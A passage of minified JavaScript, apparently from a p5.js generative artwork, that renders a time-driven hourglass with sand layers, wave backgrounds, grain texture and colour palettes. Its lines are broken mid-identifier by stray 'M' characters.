],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
